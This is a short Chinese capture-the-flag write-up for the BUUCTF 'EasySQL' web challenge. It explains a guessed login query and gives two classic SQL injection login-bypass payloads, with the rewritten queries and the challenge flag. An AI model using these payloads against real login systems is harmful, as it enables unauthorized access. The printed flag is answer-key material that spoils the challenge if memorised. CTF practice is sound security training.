BUUCTF Web 极客大挑战 2019 EasySQL
首先有点常识:
正常SQL语句这样子写:
select * from user where username= 'XXX' and password = 'XXX'
(当然,我们只是猜测闭合符号是单引号,其他题目也可能是双引号)
优先级:【and】>【=】>【or】
接下来,我们试试用一下万能账号或者密码两种方法(将账号密码带入上面的SQL语句其实就很明显):
1,输入万能密码:
' or '1'='1
SQL语句变为select * from user where username= '1' and password = '' or '1'='1 '
,语句为真,可行,得到flag。
2,输入万能账号
admin' or 1=1 #
(#后面内容注释掉了)
可行,带入上面的SQL语句:select * from user where username= 'admin' or 1=1 #' and password = '1'
,也为真,得到flag
flag{278e986b-0fc0-423d-8948-9f87446f9d00}